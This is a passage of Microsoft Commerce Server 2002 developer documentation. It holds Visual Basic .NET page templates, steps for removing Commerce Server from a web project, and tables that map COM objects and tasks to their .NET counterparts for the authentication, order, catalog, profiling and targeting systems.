//   (*) Delay Signing is an advanced option - see the Microsoft .NET Framework
//       documentation for more information on this.
//
[assembly: AssemblyDelaySign(false)]
[assembly: AssemblyKeyFile("")]
[assembly: AssemblyKeyName("")]

Sample Visual Basic .NET Form Page

Following is a sample form page in Visual Basic .NET:

<%@ Page Language="vb" AutoEventWireup="false" Codebehind="$FILENAME$.vb" Inherits="$INHERITS$"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
  <head>
    <title>[!output SAFE_ITEM_NAME]</title>
    <meta name="GENERATOR" content="Microsoft Visual Studio .NET 7.0">
    <meta name="CODE_LANGUAGE" content="Visual Basic 7.0">
    <meta name=vs_defaultClientScript content="[!output DEFAULT_CLIENT_SCRIPT]">
    <meta name=vs_targetSchema content="[!output DEFAULT_TARGET_SCHEMA]">
  </head>
  <body MS_POSITIONING="[!output DEFAULT_HTML_LAYOUT]">

    <form id="Form1" method="post" runat="server">

    </form>

  </body>
</html>

Sample Visual Basic .NET Codebehind Page

Following is a sample codebehind page in Visual Basic .NET:

Imports Microsoft.CommerceServer.Runtime

Public Class _Default
    Inherits System.Web.UI.Page

#Region " Web Form Designer Generated Code "

    'This call is required by the Web Form Designer.
    <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()

    End Sub

    Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Init
        'CODEGEN: This method call is required by the Web Form Designer
        'Do not modify it using the code editor.
        InitializeComponent()
    End Sub

#End Region

    Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        'Put user code to initialize the page here
    End Sub

End Class

Sample Visual Basic .NET AssemblyInfo.vb Page

Following is a sample assemblyinfo.vb page in Visual Basic .NET:

Imports System.Reflection
Imports System.Runtime.InteropServices

' General Information about an assembly is controlled through the following
' set of attributes. Change these attribute values to modify the information
' associated with an assembly.

' Review the values of the assembly attributes

<Assembly: AssemblyTitle("")>
<Assembly: AssemblyDescription("")>
<Assembly: AssemblyCompany("")>
<Assembly: AssemblyProduct("")>
<Assembly: AssemblyCopyright("")>
<Assembly: AssemblyTrademark("")>
<Assembly: CLSCompliant(True)>

'The following GUID is for the ID of the typelib if this project is exposed to COM
<Assembly: Guid("[!output GUID_ASSEMBLY]")>

' Version information for an assembly consists of the following four values:
'
'      Major Version
'      Minor Version
'      Build Number
'      Revision
'
' You can specify all the values or you can default the Build and Revision Numbers
' by using the '*' as shown below:

<Assembly: AssemblyVersion("1.0.*")>

See Also

Creating a Commerce Project


Removing Commerce Server from Your Web Project

You can remove Commerce Server functionality from your Visual Basic .NET, C#, or custom Web project.

To remove Commerce Server from your existing Web project, you must do the following:

  1. Manually remove the following XML nodes from your existing *.csproj or *.vbproj file:
    • <Service ID = "{863A8654-47CB-4109-8737-FB29C465AA33}" /> (if present)
    • CommerceSiteName attribute(s) from the UserProperties tag.
  2. Remove all references to Commerce objects from your project, including the web.config and all other source files.
  3. Delete Commerce Server site and global resources from Commerce Server Manager.
  4. Delete any Commerce Server databases used by the site.


Task and Object Mapping from COM to .NET

For developers familiar with the Microsoft Commerce Server COM object model, writing applications using the Microsoft .NET Application Framework can be challenging. You know the correct COM object or method to use for a particular task when you create an ASP-based site, but with the new Commerce Server Base Class Library (BCL) you have to learn a different object model to determine which classes to use for the same task for in an ASP.NET-based site. The mapping between a COM object and a Base Class Library object is not always one to one. In some cases the functionality of a COM object can now be found in a single method of a BCL object. This section describes the coding differences between ASP and ASP.NET-based sites for each of the major systems available through the BCL. It lists the most common COM objects for the system and their BCL counterpart. It also lists the most common tasks associated with each system, the COM object and the BCL object used to complete the task.

This section contains:

  • Authentication Task and Object Mapping from COM to .NET
  • Order System Task and Object Mapping from COM to .NET
  • Product Catalog System Task and Object Mapping from COM to .NET
  • Profiling System Task and Object Mapping from COM to .NET
  • Targeting System Task and Object Mapping from COM to .NET


Authentication Task and Object Mapping from COM to .NET

The AuthManager object and the AuthFilter ISAPI filter contained most of the Authentication system functionality in Commerce Server ASP-based sites. Both the AuthManager object and the AuthFilter ISAPI filter are available in the Commerce Server 2002 .NET Application Framework; however, the functionality of the AuthManager object has been split into four types: AuthManager, AuthenticationInfo, AuthTicket, and ProfileTicket.

Outside of the Commerce Server .NET Application Framework, the .NET Application Framework also has built-in support for forms-based and passport-based authentication. These methods can be used instead of the Commerce Server objects, but they do have some limitations. For more information about forms-based and passport-based authentication, see the .NET Framework SDK documentation.

Object mapping

The .NET types in the following table are in the Microsoft.CommerceServer.Runtime namespace unless otherwise noted.

ASP | ASP.NET
AuthManager | AuthManager AuthenticationInfo AuthTicket ProfileTicket
AuthFilter ISAPI | AuthFilter ISAPI

Task mapping

For each task on an ASP page, you must instantiate a new instance of the AuthManager COM component and initialize it with a site name, then make a call to the method listed in the ASP column of the tables listed below. When completing the task from an ASP.NET page, if the Commerce Authentication Module is enabled in the web.config file, reference the CommerceContext.Current.AuthenticationInfo class on the page and call the method listed in the ASP.NET column of the table. If the Commerce Authentication Module is not enabled in the web.config file, instantiate a new instance of the AuthManager object and initialize it a with a site name, and then call the method listed in the ASP.NET column of the table.

Setting a new AuthTicket

Setting a new ProfileTicket

Checking if the incoming request has a valid AuthTicket

Generating an encryption key

Getting the User ID from a cookie

Getting the User ID from a cookie and key

Refreshing the AuthTicket

Adding, removing, modifying, or retrieving a custom property from the AuthTicket

Modifying or retrieving the User ID from the AuthTicket

Adding, removing, modifying, or retrieving a custom property from the ProfileTicket

Modifying or retrieving the User ID from the ProfileTicket

Removing the AuthTicket from the outgoing response

Constructing a URL or URL QueryString that includes an AuthTicket or ProfileTicket

Setting a new AuthTicket

ASP | ASP.NET
AuthManager.SetAuthTicket | If the Commerce Authentication Module is enabled, use: CommerceContext.Current.AuthenticationInfo.SetAuthTicket If the Commerce Authentication Module is not enabled, use: AuthManager.SetAuthTicket

Setting a new ProfileTicket

ASP | ASP.NET
AuthManager.SetProfileTicket | If the Commerce Authentication Module is enabled, use: CommerceContext.Current.AuthenticationInfo. SetProfileTicket If the Commerce Authentication Module is not enabled, use: AuthManager.SetProfileTicket

Checking if the incoming request has a valid AuthTicket

ASP | ASP.NET
AuthManager.IsAuthenticated | If the Commerce Authentication Module is enabled, reference the CommerceContext.Current.AuthenticationInfo class, and then call: CommercContext.Current.AuthenticationInfo. IsAuthenticated If the Commerce Authentication Module is not enabled, use: AuthManager. IsAuthenticated

Generating an encryption key

ASP | ASP.NET
AuthManager.GenerateEncryptionKey | If the Commerce Authentication Module is enabled, use: CommerceContext.Current.AuthenticationInfo. GenerateEncryptionKey If the Commerce Authentication Module is not enabled, use: AuthManager.GenerateEncryptionKey

Getting the User ID from a cookie

ASP | ASP.NET
AuthManager.GetUserIDFromCookie | If the Commerce Authentication Module is enabled, use: CommerceContext.Current.AuthenticationInfo. GetUserIDFromCookie If the Commerce Authentication Module is not enabled, use: AuthManager.GetUserIDFromCookie

Getting the User ID from a cookie and key

ASP | ASP.NET
AuthManager.GetUserIDFromCookieAndKey | If the Commerce Authentication Module is enabled, use: CommercContext.Current.AuthenticationInfo. GetUserIDFromCookieAndKey If the Commerce Authentication Module is not enabled, use: AuthManager.GetUserIDFromCookieAndKey

Refreshing the AuthTicket

ASP | ASP.NET
AuthManager.Refresh | If the Commerce Authentication Module is enabled, use: CommerceContext.Current.AuthenticationInfo.Refresh If the Commerce Authentication Module is not enabled, use: AuthManager.Refresh

Adding, removing, modifying, or retrieving a custom property from the AuthTicket

ASP | ASP.NET
AuthManager.SetProperty AuthManager.GetProperty | If the Commerce Authentication Module is enabled, follow the instructions given in the Task Mapping topic, then reference the AuthTicket object, and then call: CommerceContext.Current.AuthenticationInfo. AuthTicket.Item If the Commerce Authentication Module has not been enabled, instantiate a new instance of the AuthManager class and initialize it with a site name. Then reference the AuthTicket object and then call: AuthManager.AuthTicket.Item

Modifying or retrieving the User ID from the AuthTicket

ASP | ASP.NET
AuthManager.SetUserID AuthManager.GetUserID | If the Commerce Authentication Module is enabled, follow the instructions given in the Task Mapping topic, then reference the AuthTicket object, and then call: CommerceContext.Current.AuthenticationInfo. AuthTicket.UserID If the Commerce Authentication Module has not been enabled, instantiate a new instance of the AuthManager class and initialize it with a site name. Then reference the AuthTicket object, and then call: AuthManager.AuthTicket.UserID

Adding, removing, modifying, or retrieving a custom property from the ProfileTicket

ASP | ASP.NET
AuthManager.SetProperty AuthManager.GetProperty | If the Commerce Authentication Module is enabled, follow the instructions given in the Task Mapping topic, then reference the ProfileTicket object, and then call: CommerceContext.Current.AuthenticationInfo. ProfileTicket.Item If the Commerce Authentication Module has not been enabled, instantiate a new instance of the AuthManager object and initialize it with a site name. Then reference the ProfileTicket object, and then call: AuthManager.ProfileTicket.Item

Modifying or retrieving the User ID from the ProfileTicket

ASP | ASP.NET
AuthManager.SetUserID AuthManager.GetUserID | If the Commerce Authentication Module is enabled, follow the instructions given in the Task Mapping topic, then reference the ProfileTicket object, and then call: CommerceContext.Current.AuthenticationInfo. ProfileTicket.UserID If the Commerce Authentication Module has not been enabled, instantiate a new instance of the AuthManager object and initialize it with a site name. Then reference the ProfileTicket object, and then call: AuthManager.ProfileTicket.UserID

Removing the AuthTicket from the outgoing response

ASP | ASP.NET
AuthManager.SetAuthTicket(“”, TRUE, 90) | If the Commerce Authentication Module is enabled, use: CommerceContext.Current.AuthenticationInfo.AuthTicket.SignOut If the Commerce Authentication Module is not enabled, instantiate a new instance of the AuthManager object and initialize it with a site name. Then reference the AuthTicket object on the AuthManager instance, and then call: AuthManager.AuthTicket.SignOut

Constructing a URL or URL QueryString that includes an AuthTicket or ProfileTicket

Using an AuthTicket or ProfileTicket in a URL is useful for supporting cookieless mode authenticaiton sessions.

ASP | ASP.NET
AuthManager.GetURL AuthManager.URLArgs AuthManager.URLShopperArgs | If the Commerce Authentication Module has to be enabled, reference the CommerceContext.Current.QueryStringBuilder object, and then call: CommerceContext.Current.QueryStringBuilder.BuildURL


Order System Task and Object Mapping from COM to .NET

The OrderForm and OrderGroup objects are the core of the Order System functionality in both the COM and .NET-based models. Pipelines are no longer run from the OrderGroup

Object mapping

The .NET types in the following table are in the Microsoft.CommerceServer.Runtime.Orders namespace unless otherwise noted.

ASP | ASP.NET
OrderGroup | Basket, OrderTemplate, and PurchaseOrder classes are all derived from the OrderGroup abstract base class. OrderContext is a factory object for these types.
OrderForm OrderGroup.Value(“OrderForms”).Value(“OrderFormName”) | OrderForm
OrderForms Dictionary OrderGroup.Value(“OrderForms”) | OrderFormCollection
Item Dictionary OrderForm.Items(n) | LineItem
Items SimpleList OrderForm.Items | LineItemCollection
Address Dictionary | OrderAddress
Addresses Dictionary | OrderAddressCollection
OrderGroupManager | OrderGroupSearch OrderGroupSearchOptions
MtsPipeline PooledPipeline | OrderPipeline (Microsoft.CommerceServer.Runtime.Pipelines)
Pipeline Context Dictionary | PipelineInfo

Task mapping

Accessing the root object for interacting with the Order System

Loading a basket or creating a new basket for a user

Saving a basket

Converting a basket to a purchase order at checkout

Searching for a saved order

Loading an existing purchase order

Saving a purchase order

Loading an existing order template for a user

Creating an order template as a copy of an existing basket or purchase order

Saving an order template

Running an order processing pipeline on an OrderGroup

Retrieving a list of configured shipping methods

Accessing the collection of OrderForms in an OrderGroup

Adding a new line item to an OrderForm

Accessing the root object for interacting with the Order System

ASP ASP.NET
Access to most order system functionality is through the Commerce.OrderGroup object.
set OrderGroup = CreateObject(“Commerce.OrderGroup”)
 CommerceContext.Current.OrderSystem (OrderContext class)

Loading a basket or creating a new basket for a user

In both the COM and .NET-based object models, a new basket is created if one does not already exist for the user, otherwise the existing basket is loaded.

In the COM object model, the userId parameter is a string usually representing a GUID. In the .NET-based model, the userId parameter is a System.Guid structure.

ASP | ASP.NET
OrderGroup.Initialize(connStr, userId) OrderGroup.LoadBasket | OrderContext.GetBasket(userId)

Saving a basket

ASP | ASP.NET
OrderGroup.SaveAsBasket | Basket.Save

Converting a basket to a purchase order at checkout

This task is typically done after the checkout pipeline has successfully run, within the same transaction in which the pipeline was run.

ASP ASP.NET
OrderGroup.SaveAsOrder
po = Basket.SaveAsOrder()

After saving as an order,

the Basket object should not

be further accessed on the page.

The returned PurchaseOrder object

should be accessed instead.

Searching for a saved order

ASP | ASP.NET
Use the OrderGroupManager.SimpleFind method together with a SimpleFindSearchInfo object. Alternatively, use the Find method method directly. Results are returned in an ADO Recordset object. | Create an instance of the OrderGroupSearch object and set the properties to specify the search criteria. Call the Find method, passing an instance of the OrderGroupSearchOptions object to specify the search options. Results are returned in an ADO.NET DataSet.

Loading an existing purchase order

ASP | ASP.NET
OrderGroup.Initialize(connStr, userId) OrderGroup.LoadOrder(orderId) | OrderContext.GetPurchaseOrder(userId, orderId)

Saving a purchase order

ASP | ASP.NET
OrderGroup.SaveAsOrder | PurchaseOrder.Save

Loading an existing order template for a user

ASP | ASP.NET
OrderGroup.Initialize(userId) OrderGroup.LoadTemplate(templateId) | OrderContext.GetOrderTemplate(userId, templateId)

Creating an order template as a copy of an existing basket or purchase order

Order templates can be used for wish lists and saved shopping lists.

ASP | ASP.NET
One approach is to load the existing basket or purchase order and then call the OrderGroup.SaveAsTemplate method. Another approach is to create a new OrderGroup object and use the AddOrderForm method to copy the order forms from the existing OrderGroup to the template. Then call the SaveAsTemplate method to save the new template. The AddOrderForm method clones the order form, it does not add a new reference to the existing order form. | Create an OrderTemplate object and copy the order forms to the new template by using the Add method on the OrderForms collection of the template. Save the new template by calling OrderTemplate.Save method.

Saving an order template

ASP | ASP.NET
OrderGroup.SaveAsTemplate | OrderTemplate.Save

Running an order processing pipeline on an OrderGroup

When a pipeline is run against an OrderGroup object, it is run against each of the order forms in the pipeline, one at a time. If the pipeline is transactional, all pipeline executions occur in the context of a single transaction.

ASP | ASP.NET
Create a pipeline context dictionary and set the key value pairs needed by the pipeline components within the pipeline. Run the pipeline by calling the OrderGroup.RunPipe method. To view an example, see the RunMtsPipeline method in the std_pipeline_lib.asp include file in the Solution Sites. The std_pipeline_lib.asp file is located in the <drive>:\Inetpub\wwwroot\<Solution Site>\include directory. This file is only available if the Retail or Supplier Solution Site has been unpacked. | Create an instance of the PipelineInfo object, passing in the name of the pipeline. The PipelineInfo object is roughly equivalent to a COM pipeline context dictionary. The constructor takes special action for the well-known pipeline names "Basket" and "Total". It automatically sets up many of the required keys in the context dictionary that are required for the standard Commerce Server pipeline components. Custom keys can be set by accessing the Item property.

Retrieving a list of configured shipping methods

Both the COM and .NET-based versions allow you to specify a filter criteria, a sort order, and the columns to return.

ASP | ASP.NET
ShippingMethodManager.GetInstalledMethodList | OrderContext.GetShippingMethods

Accessing the collection of OrderForms in an OrderGroup

ASP | ASP.NET
OrderGroup.Value(“OrderForms”) This is a Commerce.Dictionary object containing the OrderForm objects keyed by name ("default" is the name of the default OrderForm object). | OrderGroup.OrderForms property

Adding a new line item to an OrderForm

ASP ASP.NET
Create a Commerce.Dictionary object representing the item. Typically, the dictionary contains at least the following keys:
  • quantity
  • product_catalog
  • product_id
  • product_variant_id (for variants)

Then call the OrderGroup.AddItem(dictItem) method.

 Create an instance of the LineItem object, passing properties of the product to the constructor as arguments. Set any additional custom properties by using the Item property of the LineItem object. Add the LineItem object to the OrderForm by using the Add method of the OrderForm.LineItemCollection property.


Product Catalog System Task and Object Mapping from COM to .NET

The COM object model for catalogs includes methods and properties for both design-time and run-time catalog activities. The Microsoft.CommerceServer.Runtime.Catalog namespace exposes only the runtime functionality, and wraps the catalog set functionality.

At the root of the Catalog namespace is the CatalogContext object. A CatalogContext object is loosely similar to a CatalogManager object in COM, with the management functionality removed and the searching functionality factored out into a separate object (the CatalogSearch object). At application startup, the CommerceCatalogModule creates an instance of the CatalogContext object and makes it available at the application level through a static property, CatalogContext, and also to the page through an instance property, CommerceContext.Current.CatalogSystem. If you are not using the Commerce Server .NET Application Framework, then you can create a stand-alone CatalogContext object using the static method CreateFromConnectionString. You can use the SiteConfigReadOnly object to get the connection string for the Product Catalog system for your Commerce Server site.

From a CatalogContext object, you can gain access to the rest of the catalog hierarchy, including the familiar ProductCatalog, Product, and Category objects. You can get a ProductCatalog object from the CatalogContext.GetCatalog method, a Product object from the ProductCatalog.GetProduct method, and a Category object from the ProductCatalog.GetCategory method.

A few things to be aware of include:

  • In the COM-based model, search results were returned through ADO Recordsets. In the .NET-based model, they are returned through ADO.NET datasets or other appropriate structures such as collections.
  • In the COM-based model, searching was available through different objects. These included CatalogManager.Search and Category.Search. The scope of the search was determined by which object you searched. In the .NET-based model, searching is done through a separate object, CatalogSearch, which uses properties that you set to scope the search.
  • In the COM-based model, many of the methods used parameters to allow you to specify how data was to be returned, including items such as sort order and paging parameters. Unfortunately, each of the methods were inconsistent in the set of parameters they accepted. In the .NET-based model this is specified in a more standard and consistent way by providing an instance of the CatalogSearchOptions object. For details about the recognized options for each object, see the reference pages in the .NET Class Reference. The DubugContext object will contain warnings about any settings that are ignored.
  • In the COM-based model, there was a separate object for getting the catalog collection based on the profile of the user. In the .NET-based model, this functionality is exposed by the CommerceContext object.
  • The .NET-based model does not expose the attributes for all the catalog properties in one dataset. You need to get the PropertyNames collection and iterate it to get the property attributes for each property.
  • All the methods for the Product and Category objects that return a Recordset containing the parent or child category information also return the display name for each category in the Recordset. The corresponding methods in the .NET-based model return ReadOnlyStringCollections that do not contain the category display name. You can call the Category.GetCategoryProperties method to get the display names for each category. The one exception to this is Category.GetChildCategories, which returns a dataset.

Object mapping

The .NET types in the following table are in the Microsoft.Commerceserver.Runtime.Catalog namespace unless otherwise noted.

ASP | ASP.NET
CatalogManager | CatalogContext
ProductCatalog | ProductCatalog
Category | Category
Product | Product
CatalogSets | CommerceContext.GetCatalogsForUser
CatalogToVendorAssociation | None, use COM Interop (no PIA provided)

Task mapping

Accessing the root Product Catalog System object

Accessing a ProductCatalog object for a specific catalog

Searching for a catalog or catalogs

Getting the list of catalogs that should be available to a particular user using the CatalogSets functionality

Searching for products or categories in a catalog or across catalogs (free-text or property-based)

Searching a specific category for descendent products or categories

Refreshing cached catalog data

Setting the Product Catalog System to join catalog result sets against an external table

Performing a specification search against a catalog

Getting the list of properties that can be displayed on the site

Setting the language on the catalog object

Getting the list of properties in a catalog

Accessing a product in a catalog

Accessing a category in a catalog

Accessing the root category in a catalog

Paging through a list of root categories

Paging through a list of root products

Getting the canonical path of a category to the root

Getting the canonical path of a product to the root

Getting the descendant products for a category

Getting the ancestor categories for a Product

Getting the parent categories for a Product

Getting the ancestor categories for a Category

Getting the parent categories for a Category

Getting the child categories for a Category

Accessing the root Product Catalog System object

ASP | ASP.NET
Application(“MSCSCatalogManager”) | CommerceContext.Current.CatalogSystem (for page-level access) CommerceCatalogModule.CatalogContext (for application-level access)

Accessing a ProductCatalog object for a specific catalog

ASP | ASP.NET
CatalogManager.GetCatalog | CatalogContext.GetCatalog

Searching for a catalog or catalogs

Note that in both the COM and .NET-based models, you get back a result set containing information about the catalogs, but you must still call the GetCatalog method to access the ProductCatalog objects themselves.

ASP | ASP.NET
CatalogManager.Catalogs property This property is defined in the type library as a property, it is accessed more like a method. It allows you to provide parameters for the search clause and other information for how the results should be returned. | CatalogContext.GetCatalogs method (four overloads provided)

Getting the list of catalogs that should be available to a particular user using the CatalogSets functionality

ASP | ASP.NET
CatalogSets.GetCatalogsForUser | CommerceContext.Current.GetCatalogsForUser This uses configuration data specified in the <profiles> section of the web.config file.

Searching for products or categories in a catalog or across catalogs (free-text or property-based)

ASP | ASP.NET
CatalogManager.Search, specifying the catalog or list of catalogs to search. CatalogManager.Query and CatalogManager.FreeTextSearch methods are also provided, but Search is the preferred method. | Use the CatalogSearch object, specifying either a comma-delimited list of catalogs to search by setting the CatalogNames property, or by providing a ReadOnlyStringCollection containing the catalog names to search by setting the CatalogNamesCollection property.

Searching a specific category for descendent products or categories

ASP | ASP.NET
Category.Search | Use the CatalogSearch object, setting both the catalog name and the category name. Set the Recursive property to true to search across all descendants, or to false to search only the immediate children of the category.

Refreshing cached catalog data

ASP | ASP.NET
The catalog objects themselves do not cache any data. Use the CacheManager.RefreshCache method for each application-level cache that contains catalog data (see the files global_cache_lib.asp and BDRefresh.asp in the Solution Sites for example usage). The global_cache_lib.asp file is located in the <drive>:\Inetpub\wwwroot\<Solution Site>\include directory. The BDRefresh.asp file is located in the <drive>:\Inetpub\wwwroot\<Solution Site>\include directory. These files are only available if the Retail or Supplier Solution Site has been unpacked. | Data for a subset of the Product Catalog System properties can be cached by the objects. To refresh this data, call the CatalogContext.Refresh method. You also need to refresh application-level caches that contain catalog data by accessing cache objects from the collection of site caches (CommerceContext.Current.Caches) and calling the Refresh method on each.

Setting the Product Catalog System to join catalog result sets against an external table

ASP | ASP.NET
CatalogManager.SetJoinTable | Use the <catalog> configuration section in the web.config file to specify this, or call the CatalogContext.SetJoinTable method explicitly at application startup.

Performing a specification search against a catalog

ASP | ASP.NET
ProductCatalog.BeginSpecificationSearch, ProductCatalog.PerformSpecificationSearch, ProductCatalog.GuaranteedSpecificationSearch | ProductCatalog.BeginSpecificationSearch, ProductCatalog.PerformSpecificationSearch, ProductCatalog.GuaranteedSpecificationSearch

Getting the list of properties that can be displayed on the site

ASP ASP.NET
Set rs = CatalogManager.Properties

Rs.Filter(“DisplayOnSite=1”)
This code sample describes how to cache the properties that can be displayed on the site.
/*Get the properties in the catalog system*/
ReadOnlyStringCollection properties = CatalogContext.PropertyNames
DataSet ds;
/* For each property get the property attributes.*/
For each property
 Ds = CatalogContext.GetPropertyAttributes(propertyname)
/* Check if the DisplayOnSite attribute for that property is set to true and if so add it to the cache.*/
if ((bool)Ds.Tables[0].Rows[0][“DisplayOnSite”] == true)

/* Add property to a cache which can be used to display the properties.*/
  End if
End for

Setting the language on the catalog object

ASP | ASP.NET
ProductCatalog.Language This language will be inherited by the category and product objects created from the ProductCatalog object. When you get a ProductCatalog object from CatalogManager the ProductCatalog object will be set to the default language of the catalog. | ProductCatalog.ActiveLanguage This language will be inherited by the category and product objects created from the ProductCatalog object. When you get a ProductCatalog object from CatalogContext the ProductCatalog object will be set to the CurrentUICulture if the catalog supports this culture, otherwise, it will be set to the default language of the catalog.

Getting the list of properties in a catalog

ASP | ASP.NET
CatalogManager.Properties(catalogname) | ProductCatalog.PropertyNames

Accessing a product in a catalog

ASP | ASP.NET
ProductCatalog.GetProduct | ProductCatalog.GetProduct

Accessing a category in a catalog

ASP | ASP.NET
ProductCatalog.GetCategory) | ProductCatalog.GetCategory

Accessing the root category in a catalog

ASP | ASP.NET
ProductCatalog.GetCategory(“”) | ProductCatalog.GetCategory(“”)

Paging through a list of root categories

ASP | ASP.NET
Not supported in the COM API | ProductCatalog.GetRootCategories(searchOptions)

Paging through a list of root products

ASP | ASP.NET
Not supported in the COM API | ProductCatalog.GetRootProducts(searchOptions)

Getting the canonical path of a category to the root

ASP | ASP.NET
Not supported in the COM API | Category.CannonicalCategoryPath

Getting the canonical path of a product to the root

ASP ASP.NET
Not supported in the COM API Product.CannonicalCategoryPath

Note

  • This property is expensive to compute. If this property is accessed frequently on a site, it is recommended that caching is enabled on the Product Catalog System objects. Caching is not enabled by default.

Getting the descendant products for a category

ASP | ASP.NET
Category.DescendantProducts | Category.GetProduct(searchoptions, fRecursive)

Getting the ancestor categories for a Product

ASP | ASP.NET
The Product.AncestorCategories property returns a Recordset containing the ancestor categories. The Recordset also contains the display name for each ancestor category. | The Product.AncestorCategoryNames property returns a ReadOnlyStringCollection containing the ancestor categories. To access the display name you will need to access the category properties.

Getting the parent categories for a Product

ASP | ASP.NET
The Product.ParentCategories property returns a Recordset containing the parent categories. The Recordset also contains the display name for each parent category. | The Product.ParentCategoryNames property returns a ReadOnlyStringCollection containing the parent categories. To access the display name you will need to access the category properties.

Getting the ancestor categories for a Category

ASP | ASP.NET
The Category.AncestorCategories property returns a Recordset containing the ancestor categories. The Recordset also contains the display name for each ancestor category. | The Category.AncestorCategoryNames property returns a ReadOnlyStringCollection containing the ancestor categories. To access the display name you will need to access the category properties.

Getting the parent categories for a Category

ASP | ASP.NET
The Category.ParentCategories property returns a Recordset containing the parent categories. The Recordset also contains the display name for each parent category. | The Category.ParentCategoryNames property returns a ReadOnlyStringCollection containing the parent categories. To access the display name you will need to access the category properties.

Getting the child categories for a Category

ASP | ASP.NET
The Category.ChildCategories property returns a Recordset containing the child categories. The Recordset also contains the display name for each child category. | The Category.ChildCategoryNames property returns a ReadOnlyStringCollection containing the child categories. To access the display name you will need to access the category properties. The Category.GetChildCategories method returns a Dataset containing the child categories. The Dataset contains the display name for each child category. You can also pass search options to this method to page the results.


Profiling System Task and Object Mapping from COM to .NET

The scope and function of the COM Profile objects are similar to the Profile objects available in the Base Class Library. The ProfileContext type is similar to a ProfileService object in COM and the Profile type is similar to the COM ProfileObject type.

In COM, there were three main ASP application-scoped Profiling System related entities:

  • Profile service instance
  • OLE DB Provider for Commerce Server instance
  • BizDataAdmin object instance

In the .NET-based model, the key profile service functionality, the OLE DB Provider for Commerce Server handle, and selected site term related functionality is housed in a single ProfileContext object.

Object mapping

The .NET types in the following table are in the Microsoft.Commerceserver.Runtime.Profiles unless otherwise specified.

COM | Commerce Server .NET Application Framework
ProfileService | ProfileContext
ProfileObject | Profile
ProfileObject.Fields | ProfilePropertyCollection ProfilePropertyGroupCollection

Task Mapping

Accessing global profile service instance

Creating a new profile

Retrieving an existing profile

Deleting a profile

Setting a profile property value

Retrieving a profile property value

Retrieving immediate profile property collection

Retrieving immediate profile property group collection

Retrieving profile property attributes

Retrieving site term names

Retrieving site terms

Accessing Commerce OLE DB Provider (CSOLEDB)

Executing queries through the Commerce OLE DB Provider

Accessing global profile service instance

ASP | ASP.NET
Application(“MSCSProfileService”) | CommerceContext.Current.ProfileSystem
 | CommerceProfileModule.ProfileSystem (for application-level access)

Creating a new profile

ASP | ASP.NET
ProfileService.CreateProfile | ProfileContext.CreateProfile

Retrieving an existing profile

ASP | ASP.NET
Set profileObject = ProfileService.GetProfile(“joesmith”, “UserObject”) | Profile profileObject = ProfileContext.GetProfile(“joesmith”, “UserObject”)

Deleting a profile

ASP | ASP.NET
ProfileService.DeleteProfile | ProfileContext.DeleteProfile

Setting a profile property value

ASP ASP.NET
Assumptions: profileObject represents an existing profile object.

profileObject.GeneralInfo.logon_name = “joesmith”

 Assumptions: profileObject represents an existing profile object.

profileObject[“GeneralInfo.logon_name”] = “joesmith”;

Alternative ways:

  • ProfilePropertyGroupCollection ppgc = profileObject[“GeneralInfo”];

    ProfileProperty pp = ppgc[“logon_name”];

    pp.Value = “joesmith”;

  • profileObject.Properties[“GeneralInfo.first_name”].Value = “joesmith”;
  • profileObject.PropertyGroups[“GeneralInfo”][“last_name”].Value = “joesmith”;

Retrieving a profile property value

ASP ASP.NET
Assumptions: profileObject represents an existing Profile object.

logonName = profileObject.GeneralInfo.logon_name

 Assumptions: profileObject represents an existing Profile object.

String logonName = profileObject[“GeneralInfo.logon_name”];

Alternative ways:

  • ProfilePropertyGroupCollection ppgc = profileObject[“GeneralInfo”];

    ProfileProperty pp = ppgc[“logon_name”];

    String logonName = pp.Value as string;

  • String logonName = profileObject.Properties[“GeneralInfo.first_name”].Value as string;
  • String logonName = profileObject.PropertyGroups[“GeneralInfo”][“last_name”].Value;

Retrieving immediate profile property collection

ASP ASP.NET
In ASP, you must loop through all the fields in the fields collection for the profile object, explicitly checking to see if the field is a property or a property group. For example:
For Each profileField In profileObject.Fields
 ‘ Profile property group case
 If IsObject(profileField) Then
  …
 ‘ Profile property case
 Else
  …
 End If
Next
 In the .NET-based model, the profile property collection is readily available through properties in the Profile and ProfilePropertyGroup classes.

Profile.ProfilePropertyCollection

ProfilePropertyGroup.ProfilePropertyCollection

Retrieving immediate profile property group collection

ASP ASP.NET
In the COM-based model, you must loop through all the fields in the fields collection for the profile object’, explicitly checking to see if the field is a property or a property group. For example:
For Each profileField In profileObject.Fields
 ‘ Profile property group case
 If IsObject(profileField) Then
  …
 ‘ Profile property case
 Else
  …
 End If
Next
 In the .NET-based model, the profile property group collection is readily available through properties in the Profile and ProfilePropertyGroup classes.

Profile.ProfilePropertyGroupCollection

ProfilePropertyGroup.ProfilePropertyGroupCollection

Retrieving profile property attributes

ASP ASP.NET
In the COM-based model, you must loop through all the fields in the fields collection for the profile object, explicitly checking to see if the field is a property or a property group. For example:
For Each profileField In profileObject.Fields
 ‘ Profile property group case
 If IsObject(profileField) Then
  …
 ‘ Profile property case
 Else
  …
  Set profileAttributes = profileField.Properties
  For Each profileAttribute in profileAttributes
   …
  Next
 End If
Next
 ProfileProperty.Attributes

Retrieving site term names

ASP | ASP.NET
In the COM-based model, you retrieve the list of all the site terms using the GetSiteTerms method on the BizDataAdmin object, and then parse through the returned XML stream for the site term names. | In the .NET-based model, you can easily retrieve the site terms through the ProfileContext.SiteTermNames property.

Retrieving site terms

ASP | ASP.NET
In the COM-based model, you retrieve the list of all the site terms using the GetSiteTerms method on the BizDataAdmin object, and then parse through the returned XML stream for the site term. | In the .NET-based model, you can easily retrieve the site term through the ProfileContext.GetSiteTerm method.

Accessing Commerce OLE DB Provider (CSOLEDB)

ASP | ASP.NET
Application(“MSCSAdoConnection”) | ProfileContext.CommerceOleDbProvider

Executing queries through the Commerce OLE DB Provider

ASP | ASP.NET
Use ADO to execute queries using the CSOLEDB. | Use ADO.NET to execute queries using the CSOLEDB.


Targeting System Task and Object Mapping from COM to .NET

The targeting system includes the campaign management system (ad and discount promotions, including content selection pipelines), the expression evaluator, and the List Manager/Direct Mailer services.

Object mapping

The .NET types in the following table are in the Microsoft.CommerceServer.Runtime.Targeting namespace unless otherwise noted.

ASP | ASP.NET
ContentSelector | ContentSelector
CacheManager CommerceCache, CommerceCacheCollection

